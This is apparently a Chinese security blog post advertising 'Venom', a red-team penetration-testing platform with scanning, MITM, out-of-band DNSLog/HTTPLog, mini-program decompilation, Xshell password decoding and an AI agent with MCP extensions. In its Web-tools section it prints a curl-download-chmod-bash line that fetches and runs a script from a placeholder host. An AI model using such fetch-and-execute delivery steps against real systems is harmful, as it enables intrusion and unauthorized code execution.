新一代渗透测试利器，小程序逆向、资产测绘、DNSLog 回连、AI智能体 Agent，私有化 MCP 红队作战场景（2026-06-03）更新

最新推荐文章于 2026-06-13 16:49:06 发布

原创最新推荐文章于 2026-06-13 16:49:06 发布 · 198 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#小程序 #人工智能 #apache #web安全 #安全 #系统安全 #网络安全

渗透工具同时被 2 个专栏收录

86 篇文章

订阅专栏

AI学习

22 篇文章

订阅专栏

0x01 工具介绍

Venom 是基于 Electron+Go 开发的新一代一体化红队渗透测试平台，集成小程序逆向、多平台资产测绘、DNSLog/HTTPLog 带外验证、MITM 流量代理、加解密流水线等实用功能，搭载可控 AI 智能体 Agent，支持手动审批工具调用。平台提供 MCP 扩展能力，可对接企业自研扫描器、资产系统与私有知识库，打通全流程安全工作流。内置端口指纹探测、POC 模板生成、Xshell 解密等辅助工具，适配授权渗透、安全研究、CTF 等场景，持续迭代优化，本次更新版本优化功能联动逻辑，提升红队实战效率。

注意：现在只对常读和星标的才展示大图推送，建议大家把渗透安全HackTwo"设为星标⭐️"否则可能就看不到了啦！

下载地址在末尾 #渗透安全HackTwo

0x02 功能介绍

✨核心能力

功能模块	核心价值	当前能力
🤖 Agent 智能体	将多轮安全分析沉淀为可控的智能工作台	会话管理、Agent 工作区、模型选择、手动审批、技能启停、指令调用、分析过程与结论沉淀
🔌 MCP 服务扩展	让 Agent 调用外部工具、本地脚本和自建服务	MCP 服务器管理、工具发现与调用、与技能/指令联动、适配自建安全服务和知识库
🚀 端口扫描	快速发现开放端口和 Web 暴露面	批量目标导入、端口策略预设、自定义端口、主机发现、协议识别、Web 指纹识别、Socks5 代理、实时进度和结果表格
🗺️ 空间测绘	聚合外部测绘结果并收敛攻击面	FOFA、Hunter、DayDayMap 查询，测绘语法收藏，结果复制，选中资产发送到端口扫描
🔐 数据处理	快速清洗、比较和转换数据	JSON 查询与 CSV 导出、文本差异对比、可视化加解密工作流、预设保存/分享/导入
🧩 加解密工作流	把一次性数据处理变成可复用流水线	Base64/Base32/URL/Unicode/Hex/XOR，MD5/SHA/SM3/HMAC，AES/DES/3DES/RC4/SM4，RSA/SM2，参数处理与 DSL 辅助函数
🛰️ MITM 代理	在流量入口层完成捕获、命中、改写和转发	HTTP/HTTPS 监听、CA 导出与状态检测、上游 HTTP/HTTPS/SOCKS5、触发器、请求/响应修改规则、与加解密预设联动
📡 Web 工具	配合 Vnx 提供带外验证与投递能力	302 跳转、文件管理、DNSLog、HTTPLog，支持 API Key 配置和连通性检测
📱 微信小程序反编译	辅助分析本地微信小程序包	扫描 Applet 目录、小程序信息识别、多版本反编译、敏感信息提取、自定义提取规则、协同调试服务
🔥 POC 模板生成	快速构建标准化验证模板	HTTP 类型 POC 模板生成、基础信息、风险等级、Matcher、Extractor、YAML 预览与复制
🛠️ 其他工具	管理常用工具和本地凭据分析	自定义快捷方式启动器、Xshell 会话密码解码

场景一：🤖 Agent 智能体与安全技能编排

场景二：🔌 MCP 服务器扩展

场景三：🌐 资产测绘与端口扫描联动

场景四：🚀 协议识别与 Web 指纹探测

端口扫描不只返回“开了哪个端口”，还会尽量补齐后续判断需要的信息。

扫描配置支持端口扫描、协议识别、Web 指纹三个阶段独立启停，并可以分别设置线程、超时、重试等参数。结果表格会展示主机、端口、协议、版本、状态码、标题、Web Server、组件和 Banner，方便继续定位高价值服务。

需要走代理的场景，可以在扫描配置中填写 Socks5 代理

场景五：🔐 数据清洗、对比与加解密工作流

场景六：🛰️ MITM 自动签名与自动改写

典型链路可以是：

Client -> Venom MITM -> Burp / 上游代理 -> Target

对于动态签名、请求体加密、响应解包、字段重算等场景，可以先在“数据处理 / 加解密”中拖出工作流并保存为预设，再在 MITM 修改规则中引用，让流量经过时自动处理。

场景七：📡 Web 工具与带外验证

DNSLog / HTTPLog：生成专属域名或监听 URL，支持刷新和自动刷新，用于验证无回显漏洞、SSRF、Blind RCE 等场景。

curl -k -L https://xxxx/file/1/file -o echo.sh && chmod +x echo.sh && bash echo.sh

场景八：📱 微信小程序反编译与信息提取

场景九：🔥 POC 模板生成与常用工具启动

0x03 更新介绍

Dockerfile 增强：新增 aliyun-cli 支持，与 tccli、awscli 一并内置Docker 
构建缓存：优化构建性能Worker 
健康检查：新增可配置的健康检查模式，默认启动时检查
项目引导可选化：无 Worker 支持时自动跳过引导
配置模板化：dispatch.example.yaml 替换为本地专用模板，降低上手门槛

0x04 使用介绍

📦安装与使用指南

下载对应平台的安装包。

首次启动时，Venom 会检查本地引擎。如果没有检测到引擎，启动页会提供自动下载和手动安装两种方式；网络环境需要代理时，可以在启动页配置代理后再继续下载。

可能遇到的问题

解决方法：

sudo xattr -dr com.apple.quarantine /Applications/Venom.app

下载

《渗透安全HackTwo》回复20260611获取下载